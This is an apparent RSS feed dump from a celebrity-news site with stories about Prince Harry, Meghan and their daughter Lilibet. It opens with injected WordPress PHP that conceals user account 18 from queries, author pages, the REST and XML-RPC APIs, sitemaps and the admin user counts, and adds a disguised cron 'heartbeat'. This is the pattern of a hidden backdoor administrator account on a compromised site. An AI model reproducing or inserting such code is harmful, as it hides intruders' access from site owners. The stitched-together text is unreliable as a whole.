add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Prince Harry and Meghan Markle clear that they asked the Queen before naming the newborn baby. appeared first on The Edge Media.
]]>A spokesperson for Prince Harry and Meghan on Sunday announced that the second child of the Duke and Duchess of Sussex, Lilibet “Lili” Diana Mountbatten-Windsor, had been born at a hospital in Santa Barbara in California on Friday morning.
When Queen Elizabeth II was a toddler, her grandfather, King George V, would affectionately call her Lilibet while imitating her failed attempts to say her name. The nickname stuck and came to be used by close relatives. A BBC report, citing an unnamed Buckingham Palace source, had earlier stated that Harry and Meghan never checked with the Queen whether they can use the moniker before naming their child.
A spokesperson for the Duke of Sussex said that Prince Harry spoke with the Queen before announcing his daughter’s name and the monarch was supportive of the decision, reported CNN.
“The Duke spoke with his family in advance of the announcement. In fact, his grandmother was the first family member he called,” CNN quoted the spokesperson as saying. “During that conversation, he shared their hope of naming their daughter Lilibet in her honour. Had she not been supportive, they would not have used the names,” the spokesperson added.
The post Prince Harry and Meghan Markle clear that they asked the Queen before naming the newborn baby. appeared first on The Edge Media.
]]>The post Prince Harry and Meghan blessed with a baby girl appeared first on The Edge Media.
]]>
Meghan, Britain’s Duchess of Sussex, has given birth to her second child, a baby girl, whom she and husband Prince Harry have named after Queen Elizabeth and his late mother Princess Diana.
Lilibet ‘Lili’ Diana Mountbatten-Windsor was born on Friday at the Santa Barbara Cottage Hospital in California, with Harry in attendance. Lilibet Diana Mountbatten-Windsor is eighth in line to the British throne.
The birth follows a tumultuous year for the couple, who have stepped down from royal duties and moved to the United States to live more independent lives, but rarely been seen out of the public spotlight.
Both mother and baby were doing well and were back at home, their press secretary said.
Lilibet was Queen Elizabeth’s childhood nickname. Harry and Meghan’s decision to name their daughter after the 95-year-old monarch came less than two months after the death of her husband Prince Philip, the royal family’s patriarchal figure.
In a message of thanks on the couple’s Archewell website, they said: “On June 4, we were blessed with the arrival of our daughter, Lili.
“She is more than we could have ever imagined, and we remain grateful for the love and prayers we’ve felt from across the globe.
“Thank you for your continued kindness and support during this very special time for our family.”
The post Prince Harry and Meghan blessed with a baby girl appeared first on The Edge Media.
]]>The post Prince Harry and Meghan Markle’s third wedding anniversary gift to India appeared first on The Edge Media.
]]>The statement shared was,” Right now covid-19 cases are spiking across the entire country of India. On Tuesday (18th May), India’s total virus cases exceeded 25 million, with 260,000 new cases and 4,329 deaths reported in the past 24 hours. Hundreds of thousands of lives have been lost, millions have been infected, and there is widespread concern that the crisis is even worse than reported. It further read that during future crises,” During crises, these centres can be quickly activated as emergency response kitchens or vaccination cites and through calmer times they can serve as food distribution hubs, schools, clinics, or community gathering spaces for families.”
This is the third or fourth relief centre being built by Archewell Foundation and World Central Kitchen.
The post Prince Harry and Meghan Markle’s third wedding anniversary gift to India appeared first on The Edge Media.
]]>The post Prince Harry’s “The me you can’t see” appeared first on The Edge Media.
]]>Harry told that when he was walking beside his mother’s coffin he felt like he was outside of his body. He said he was just walking along, doing what was expected of him, showing one tenth of the emotion that everyone was showing. While talking about dealing with the trauma of his mother’s death, Harry told that he was experiencing several panic attacks. He claimed to have dunk a week’s worth alcohol in a day. Dealing with this, made the ages of 28-32 worst for him.
In the documentary he also mentioned about how Meghan’s every request was met with total silence. He also talked about his thoughts on quitting the royal life in his 20s.
The post Prince Harry’s “The me you can’t see” appeared first on The Edge Media.
]]>